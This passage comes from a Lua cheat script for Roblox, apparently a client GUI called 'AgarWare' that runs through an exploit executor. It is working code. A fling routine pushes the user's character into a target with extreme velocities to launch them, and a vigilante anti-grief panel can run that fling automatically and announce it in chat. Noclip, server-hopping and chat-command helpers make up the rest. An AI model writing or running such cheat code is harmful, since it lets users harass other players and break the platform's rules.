if flingCancelled then return end
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(90000000, 90000000 * 10, 90000000)
RootPart.RotVelocity = Vector3.new(900000000, 900000000, 900000000)
end
local SFBasePart = function(BasePart)
local Angle = 0
repeat
if flingCancelled then break end
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(-90), 0, 0)); task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait()
end
else
break
end
until flingCancelled
or (BasePart.Velocity.Magnitude > 500)
or (BasePart.Parent ~= TargetPlayer.Character)
or (TargetPlayer.Parent ~= Players)
or THumanoid.Sit
or (Humanoid.Health <= 0)
if BasePart.Velocity.Magnitude > 500 then
flinged = true
end
end
local savedFPDH = workspace.FallenPartsDestroyHeight
workspace.FallenPartsDestroyHeight = math.huge * -1
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
cam.CameraSubject = Humanoid
if getgenv().OldPos then
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, 0.5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, 0.5, 0))
Humanoid:ChangeState("GettingUp")
for _, part in ipairs(Character:GetChildren()) do
if part:IsA("BasePart") then
part.Velocity = Vector3.new()
part.RotVelocity = Vector3.new()
end
end
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
end
workspace.FallenPartsDestroyHeight = savedFPDH
return flinged
end
--------------------------------------------------
-- STATE
--------------------------------------------------
local currentTarget = nil
local currentGriefType = nil
local currentIsBoombox = false
local timerConn = nil
local isShowing = false
local isFlingActive = false
local isFlingDone = false
local timerPaused = false
local griefQueue = {}
local queueProcessing = false
--------------------------------------------------
-- GRIEF TYPE LABELS & MESSAGES
--------------------------------------------------
local griefTypeLabels = {
["delete"] = "DELETE DETECTION",
["paint"] = "PAINT DETECTION",
["build"] = "BUILD SPAM",
["exploit"] = "EXPLOIT DETECTION",
["boombox"] = "LOUD BOOMBOX",
}
local alertMessages = {
["delete"] = "⚠️%s IS GRIEVING",
["paint"] = "⚠️%s IS GRIEF PAINTING",
["build"] = "⚠️%s IS SPAMMING BLOCKS",
["exploit"] = "⚠️%s IS USING EXPLOITS TO GRIEF",
}
local flingMessages = {
["delete"] = "⚠️%s was grieving and got flung",
["paint"] = "⚠️%s was paint griefing and got flung",
["build"] = "⚠️%s was spamming blocks and got flung",
["exploit"] = "⚠️%s was using exploits to grief and got flung",
}
--------------------------------------------------
-- BUTTON VISIBILITY HELPER
--------------------------------------------------
local function setButtonsForBoombox(isBoombox)
AlertConfirm.Visible = not isBoombox
FalseAlertConfirm.Visible = not isBoombox
end
--------------------------------------------------
-- SHOW (forward declaration)
--------------------------------------------------
local showConfirm
--------------------------------------------------
-- HIDE
--------------------------------------------------
local function hideConfirm(clearQueue)
isShowing = false
isFlingActive = false
isFlingDone = false
timerPaused = false
currentTarget = nil
currentGriefType = nil
currentIsBoombox = false
ConfirmGriefFrame.Visible = false
setButtonsForBoombox(false)
spectateBack()
PauseConfirm.Text = "PAUSE TIMER"
if shared.StopGriefSFX then shared.StopGriefSFX() end
if timerConn then
timerConn:Disconnect()
timerConn = nil
end
if clearQueue then
griefQueue = {}
queueProcessing = false
return
end
if #griefQueue > 0 then
local nextItem = table.remove(griefQueue, 1)
task.wait(0.3)
showConfirm(nextItem.player, nextItem.griefType, nextItem.isBoombox)
else
queueProcessing = false
end
end
--------------------------------------------------
-- SHOW
--------------------------------------------------
showConfirm = function(player, griefType, isBoombox)
if isShowing then
for _, item in ipairs(griefQueue) do
if item.player == player then return end
end
table.insert(griefQueue, {player = player, griefType = griefType, isBoombox = isBoombox})
return
end
isShowing = true
isFlingDone = false
queueProcessing = true
currentTarget = player
currentGriefType = griefType
currentIsBoombox = isBoombox or false
timerPaused = false
PauseConfirm.Text = "PAUSE TIMER"
setButtonsForBoombox(currentIsBoombox)
local label = griefTypeLabels[griefType] or "GRIEFING"
ConfirmGriefFrame.Visible = true
GriefTargetLabel.Text = "POSSIBLE GRIEF: " .. player.DisplayName .. " | " .. label
task.delay(0.1, function()
if isShowing and currentTarget == player then
spectatePlayer(player)
end
end)
local timeLeft = currentIsBoombox and 10 or 20
ConfirmTimer.Text = "(" .. timeLeft .. ".0)"
if timerConn then timerConn:Disconnect() end
timerConn = RunService.Heartbeat:Connect(function()
if not isShowing then return end
if isFlingActive then return end
if timerPaused then return end
timeLeft -= (1/60)
ConfirmTimer.Text = "(" .. string.format("%.1f", timeLeft) .. ")"
if timeLeft <= 0 then
hideConfirm(false)
end
end)
end
--------------------------------------------------
-- BUTTONS
--------------------------------------------------
FlingConfirm.MouseButton1Click:Connect(function()
if not currentTarget then return end
if isFlingDone then return end
if isFlingActive then
flingCancelled = true
return
end
local target = currentTarget
local griefType = currentGriefType
local isBoombox = currentIsBoombox
isFlingActive = true
flingCancelled = false
FlingConfirm.Text = "CANCEL FLING"
FlingConfirm.BackgroundColor3 = Color3.fromRGB(57,0,0)
task.spawn(function()
local success = flingPlayer(target)
isFlingActive = false
isFlingDone = true
FlingConfirm.Text = "FLING PLAYER"
FlingConfirm.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
if flingCancelled then
isFlingDone = false
return
end
hideConfirm(false)
if success and not isBoombox and shared.sendChat then
local template = flingMessages[griefType]
if template then
shared.sendChat(string.format(template, target.DisplayName))
end
end
end)
end)
AlertConfirm.MouseButton1Click:Connect(function()
if not currentTarget then return end
if shared.sendChat then
local template = alertMessages[currentGriefType] or "⚠️%s IS GRIEVING"
shared.sendChat(string.format(template, currentTarget.DisplayName))
end
end)
FalseAlertConfirm.MouseButton1Click:Connect(function()
if isFlingActive then
flingCancelled = true
task.wait(0.1)
end
if shared.sendChat then
shared.sendChat("❌False Alert")
end
hideConfirm(false)
end)
CancelConfirm.MouseButton1Click:Connect(function()
if isFlingActive then
flingCancelled = true
task.wait(0.1)
end
hideConfirm(false)
end)
PauseConfirm.MouseButton1Click:Connect(function()
timerPaused = not timerPaused
PauseConfirm.Text = timerPaused and "UNPAUSE TIMER" or "PAUSE TIMER"
end)
--------------------------------------------------
-- ENSURE EVENTS EXIST
--------------------------------------------------
shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent")
shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent")
shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent")
shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
--------------------------------------------------
-- LISTEN FOR GRIEF EVENT
--------------------------------------------------
shared.GriefEvent.Event:Connect(function(player, griefType)
if not player then return end
local isExploit = griefType == "exploit"
local autoFling = shared.FlingExploitEnabled == true
if isExploit and autoFling then
showConfirm(player, griefType, false)
task.delay(0.1, function()
if isFlingActive or isFlingDone then return end
isFlingActive = true
flingCancelled = false
FlingConfirm.Text = "CANCEL FLING"
FlingConfirm.BackgroundColor3 = Color3.fromRGB(57, 0, 0)
task.spawn(function()
local success = flingPlayer(player)
isFlingActive = false
isFlingDone = true
FlingConfirm.Text = "FLING PLAYER"
FlingConfirm.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
if not flingCancelled and success then
if shared.sendChat then
local msg = string.format(flingMessages[griefType] or flingMessages["delete"], player.DisplayName)
shared.sendChat(msg)
end
end
hideConfirm(false)
end)
end)
return
end
if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end
showConfirm(player, griefType, false)
end)
--------------------------------------------------
-- LISTEN FOR BOOMBOX EVENT
--------------------------------------------------
shared.BoomboxLoudEvent.Event:Connect(function(player)
if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end
showConfirm(player, "boombox", true)
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
flingCancelled = true
hideConfirm(true)
end
end)
end;
task.spawn(C_23b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript
local function C_23f()
local script = G2L["23f"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local SFXGriefRow = script.Parent
local PunishGroup = SFXGriefRow.Parent
local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
local SFXGriefTickBox = SFXGriefRow:WaitForChild("SFXGriefTickBox")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
SFXGriefTickBox:SetAttribute("Enabled", false)
local function updateVisual()
if SFXGriefTickBox:GetAttribute("Enabled") then
SFXGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
else
SFXGriefTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
SFXGriefTickBox.MouseButton1Click:Connect(function()
local state = not SFXGriefTickBox:GetAttribute("Enabled")
SFXGriefTickBox:SetAttribute("Enabled", state)
updateVisual()
end)
updateVisual()
--------------------------------------------------
-- SOUND
--------------------------------------------------
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://138817522589884"
sound.Volume = 1
sound.Parent = workspace
--------------------------------------------------
-- STOP FUNCTION (called by ConfirmGriefScript on hide)
-- Only stops if no new detection came in recently
--------------------------------------------------
local lastPlayedAt = 0
shared.StopGriefSFX = function()
-- if sound was played less than 1 second ago, don't stop it
-- so a new detection right before hide doesn't get cut off
if tick() - lastPlayedAt > 1 then
sound:Stop()
end
end
--------------------------------------------------
-- ENSURE EVENTS EXIST
--------------------------------------------------
shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent")
shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent")
shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent")
shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
--------------------------------------------------
-- LISTEN
--------------------------------------------------
local function playSound()
if not SFXGriefTickBox:GetAttribute("Enabled") then return end
lastPlayedAt = tick()
sound:Stop()
sound:Play()
end
shared.GriefEvent.Event:Connect(function(player, griefType)
playSound()
end)
shared.BoomboxLoudEvent.Event:Connect(function(player)
playSound()
end)
end;
task.spawn(C_23f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript
local function C_243()
local script = G2L["243"];
local Players = game:GetService("Players")
local FlingExploitRow = script.Parent
local PunishGroup = FlingExploitRow.Parent
local FlingExploitTickBox = FlingExploitRow:WaitForChild("FlingExploitTickBox")
local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
shared.FlingExploitEnabled = false
local function updateVisual()
if shared.FlingExploitEnabled then
FlingExploitTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
else
FlingExploitTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
FlingExploitTickBox.MouseButton1Click:Connect(function()
shared.FlingExploitEnabled = not shared.FlingExploitEnabled
updateVisual()
end)
updateVisual()
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
shared.FlingExploitEnabled = false
end
end)
end;
task.spawn(C_243);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript
local function C_24a()
local script = G2L["24a"];
local MiscGroup = script.Parent
local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
local function getRows()
local rows = {}
for _, child in ipairs(MiscGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MiscGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
MiscMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MiscGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MiscMinimize.Text = "+"
else
MiscGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MiscMinimize.Text = "-"
end
end)
end;
task.spawn(C_24a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript
local function C_250()
local script = G2L["250"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local LocalPlayer = Players.LocalPlayer
local LJoinXLRow = script.Parent
local LJoinXLButton = LJoinXLRow.LJoinXLButton
local PLACE_ID = 12943245078
local HOLD_TIME = 1.0
local GREY = Color3.fromRGB(80, 80, 80)
--------------------------------------------------
-- BUILD HOLD-BUTTON UI
--------------------------------------------------
LJoinXLButton.Text = ""
local fillBar = Instance.new("Frame")
fillBar.Name = "FillBar"
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.Position = UDim2.new(0, 0, 0, 0)
fillBar.BackgroundColor3 = GREY
fillBar.BorderSizePixel = 0
fillBar.ZIndex = 1
fillBar.Parent = LJoinXLButton
local btnLabel = Instance.new("TextLabel")
btnLabel.Name = "BtnLabel"
btnLabel.Size = UDim2.new(1, 0, 1, 0)
btnLabel.Position = UDim2.new(0, 0, 0, 0)
btnLabel.BackgroundTransparency = 1
btnLabel.Text = "Join Largest XL"
btnLabel.TextColor3 = Color3.new(1, 1, 1)
btnLabel.TextSize = 14
btnLabel.Font = Enum.Font.Code
btnLabel.ZIndex = 2
btnLabel.Parent = LJoinXLButton
--------------------------------------------------
-- HOLD STATE
--------------------------------------------------
local holding = false
local progress = 0
local connection = nil
local cachedCount = nil
local function stopHold()
holding = false
if connection then
connection:Disconnect()
connection = nil
end
progress = 0
fillBar.Size = UDim2.new(0, 0, 1, 0)
fillBar.BackgroundColor3 = GREY
if cachedCount and cachedCount > 0 then
btnLabel.Text = "Join Largest XL (" .. cachedCount .. ")"
else
btnLabel.Text = "Join Largest XL"
end
end
--------------------------------------------------
-- FIND BIGGEST SERVER
--------------------------------------------------
local function getBiggestServer()
local bestJobId = nil
local bestCount = -1
local cursor = ""
local maxPages = 5
for page = 1, maxPages do
local url = string.format(
"https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100",
PLACE_ID
)
if cursor ~= "" then
url = url .. "&cursor=" .. cursor
end
local ok, result = pcall(function()
return HttpService:JSONDecode(game:HttpGet(url))
end)
if not ok or not result or not result.data then break end
for _, server in ipairs(result.data) do
local count = server.playing or 0
if count > bestCount then
bestCount = count
bestJobId = server.id
end
end
if not result.nextPageCursor or result.nextPageCursor == HttpService.null then
break
end
cursor = result.nextPageCursor
end
return bestJobId, bestCount
end
--------------------------------------------------
-- FETCH COUNT ON LOAD + REFRESH EVERY 30s
--------------------------------------------------
task.spawn(function()
local _, playerCount = getBiggestServer()
if playerCount and playerCount > 0 then
cachedCount = playerCount
if not holding then
btnLabel.Text = "Join Largest XL (" .. playerCount .. ")"
end
end
end)
task.spawn(function()
while true do
task.wait(30)
local _, playerCount = getBiggestServer()
if playerCount and playerCount > 0 then
cachedCount = playerCount
if not holding then
btnLabel.Text = "Join Largest XL (" .. playerCount .. ")"
end
end
end
end)
--------------------------------------------------
-- JOIN FUNCTION
--------------------------------------------------
local function joinBiggestServer()
btnLabel.Text = "Finding server..."
task.spawn(function()
local jobId, playerCount = getBiggestServer()
if not jobId then
btnLabel.Text = "No servers found!"
task.wait(3)
stopHold()
return
end
if game.JobId == jobId then
btnLabel.Text = "Already in server!"
task.wait(3)
stopHold()
return
end
btnLabel.Text = "Joining (" .. playerCount .. " players)..."
task.wait(0.5)
local ok, err = pcall(function()
TeleportService:TeleportToPlaceInstance(PLACE_ID, jobId, LocalPlayer)
end)
if not ok then
btnLabel.Text = "Teleport failed!"
task.wait(3)
stopHold()
end
end)
end
--------------------------------------------------
-- INPUT CONNECTIONS
--------------------------------------------------
LJoinXLButton.MouseButton1Down:Connect(function()
holding = true
progress = 0
btnLabel.Text = "Hold to Join..."
connection = RunService.RenderStepped:Connect(function(dt)
if not holding then return end
progress = math.clamp(progress + (dt / HOLD_TIME), 0, 1)
fillBar.Size = UDim2.new(progress, 0, 1, 0)
if progress >= 1 then
stopHold()
joinBiggestServer()
end
end)
end)
LJoinXLButton.MouseButton1Up:Connect(function()
stopHold()
end)
LJoinXLButton.MouseLeave:Connect(function()
stopHold()
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if connection then connection:Disconnect() end
end
end)
end;
task.spawn(C_250);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript
local function C_253()
local script = G2L["253"];
-- ============================================================
-- NNOCLIP SCRIPT (BLOCK STAND + FORCED JUMP)
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
local NNoclipRow = script.Parent
local NNoclipTickBox = NNoclipRow.NNoclipTickBox
local MiscGroup = NNoclipRow.Parent
local function getAccentColor()
local a = MiscGroup:FindFirstChild("MiscAccentColor")
return a and a.BackgroundColor3 or Color3.new(1,1,1)
end
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP (UPDATED TO CHATSPY STYLE)
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0,212,0,0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Prevents you from falling through blocks when noclipped. This does not mean you can collide with other people"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
NNoclipTickBox.MouseEnter:Connect(function()
local abs = NNoclipTickBox.AbsolutePosition
local size = NNoclipTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
NNoclipTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- CONSTANTS
-- ============================================================
local CHAR_HALF_HEIGHT = 2.1
local CHAR_HALF_WIDTH = 0.6
local PUSH_EXTRA = 0.05
local FLOOR_SCAN = 8
-- ============================================================
-- STATE
-- ============================================================
local isEnabled = false
local loopConn
local jumpDebounce = false
local function enable()
isEnabled = true
NNoclipTickBox.BackgroundColor3 = getAccentColor()
-- Forced Jump System
UserInputService.JumpRequest:Connect(function()
if jumpDebounce then return end
local char = LocalPlayer.Character
if not char then return end
local hrp = char:FindFirstChild("HumanoidRootPart")
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not hrp or not humanoid then return end
local rayParams = RaycastParams.new()
rayParams.FilterType = Enum.RaycastFilterType.Exclude
rayParams.FilterDescendantsInstances = {char}
local hit = workspace:Raycast(hrp.Position, Vector3.new(0,-6,0), rayParams)
if hit then
jumpDebounce = true
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
local vel = hrp.AssemblyLinearVelocity
hrp.AssemblyLinearVelocity = Vector3.new(vel.X, humanoid.JumpPower, vel.Z)
task.wait(0.15)
jumpDebounce = false
end
end)
loopConn = RunService.RenderStepped:Connect(function()
local char = LocalPlayer.Character
if not char then return end
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local pos = hrp.Position
local cf = hrp.CFrame
local rayParams = RaycastParams.new()
rayParams.FilterType = Enum.RaycastFilterType.Exclude
rayParams.FilterDescendantsInstances = {char}
-- floor snap
local hit = workspace:Raycast(pos, Vector3.new(0,-FLOOR_SCAN,0), rayParams)
if hit then
local surfaceY = hit.Position.Y + CHAR_HALF_HEIGHT
if pos.Y < surfaceY then
local vel = hrp.AssemblyLinearVelocity
hrp.AssemblyLinearVelocity = Vector3.new(vel.X,0,vel.Z)
-- rotation unlocked
hrp.CFrame = CFrame.new(Vector3.new(pos.X,surfaceY,pos.Z)) * CFrame.fromMatrix(Vector3.new(), cf.RightVector, cf.UpVector)
pos = hrp.Position
end
end
-- WALL PUSH
local newPos = pos
local scanDist = CHAR_HALF_WIDTH + 1
local dirs = {cf.LookVector, -cf.LookVector, cf.RightVector, -cf.RightVector}
for _, dir in ipairs(dirs) do
local result = workspace:Raycast(pos, dir * scanDist, rayParams)
if result then
local dist = (result.Position - pos).Magnitude
if dist < CHAR_HALF_WIDTH then
newPos = newPos + (-dir * (CHAR_HALF_WIDTH - dist + PUSH_EXTRA))
end
end
end
if (newPos - pos).Magnitude > 0.01 then
-- rotation unlocked
local currentCFrame = hrp.CFrame
hrp.CFrame = CFrame.new(newPos) * CFrame.fromMatrix(Vector3.new(), currentCFrame.RightVector, currentCFrame.UpVector)
end
end)
end
local function disable()
isEnabled = false
NNoclipTickBox.BackgroundColor3 = Color3.new(0,0,0)
if loopConn then
loopConn:Disconnect()
end
end
-- ============================================================
-- TOGGLE
-- ============================================================
NNoclipTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
end;
task.spawn(C_253);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript
local function C_257()
local script = G2L["257"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local DecimalFixerRow = script.Parent
local DecimalFixerTickBox = DecimalFixerRow.DecimalFixerTickBox
local MiscGroup = DecimalFixerRow.Parent
local function getAccentColor()
local a = MiscGroup:FindFirstChild("MiscAccentColor")
return a and a.BackgroundColor3 or Color3.new(1,1,1)
end
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
--------------------------------------------------
-- TOOLTIP
--------------------------------------------------
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0,212,0,0)
tooltipFrame.Visible = false
local sg = getScreenGui()
if sg then tooltipFrame.Parent = sg end
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57,57,57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0,6)
tooltipPadding.PaddingBottom = UDim.new(0,6)
tooltipPadding.PaddingLeft = UDim.new(0,6)
tooltipPadding.PaddingRight = UDim.new(0,6)
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Fixes your own time decimals by donating other players your decimals."
tooltipLabel.TextColor3 = Color3.new(1,1,1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0,200,0,0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
DecimalFixerTickBox.MouseEnter:Connect(function()
local abs = DecimalFixerTickBox.AbsolutePosition
local size = DecimalFixerTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
DecimalFixerTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
--------------------------------------------------
-- SHARED MUTUAL EXCLUSIVE
--------------------------------------------------
shared.DecimalFixerActive = shared.DecimalFixerActive or nil
-- "self" = this script on, "other" = other script on
--------------------------------------------------
-- CHAT
--------------------------------------------------
local function sendChat(message)
if shared.sendChat then shared.sendChat(message) end
end
--------------------------------------------------
-- STATE
--------------------------------------------------
local isEnabled = false
local loopRunning = false
--------------------------------------------------
-- PROCESS
--------------------------------------------------
local function processDecimal(textLabel)
local text = textLabel.Text
local number = tonumber(text)
if not number then return end
if number == math.floor(number) then return end
local decimalStr = text:match("%.(.+)")
if not decimalStr then return end
local message = ";donate r 1." .. decimalStr
print("DecimalFixer →", text, "=>", message)
sendChat(message)
end
--------------------------------------------------
-- ENABLE / DISABLE
--------------------------------------------------
local function disable(silent)
isEnabled = false
DecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0)
if shared.DecimalFixerActive == "self" then
shared.DecimalFixerActive = nil
end
end
local function enable()
-- Turn off other decimal fixer if on
if shared.DecimalFixerActive == "other" then
if shared.DisableOtherDecimalFixer then
shared.DisableOtherDecimalFixer()
end
end
isEnabled = true
shared.DecimalFixerActive = "self"
DecimalFixerTickBox.BackgroundColor3 = getAccentColor()
local ok, char = pcall(function() return workspace:WaitForChild(LocalPlayer.Name, 10) end)
if not ok or not char then loopRunning = false return end
local ok2, tiempo = pcall(function() return char:WaitForChild("Tiempo", 10) end)
if not ok2 or not tiempo then loopRunning = false return end
local ok3, textLabel = pcall(function() return tiempo:WaitForChild("Text1", 10) end)
if not ok3 or not textLabel then loopRunning = false return end
if loopRunning then return end
loopRunning = true
task.spawn(function()
while isEnabled do
processDecimal(textLabel)
task.wait(5)
end
loopRunning = false
end)
end
-- Expose disable for mutual exclusive
shared.DisableSelfDecimalFixer = disable
DecimalFixerTickBox.MouseButton1Click:Connect(function()
if isEnabled then disable() else enable() end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_257);
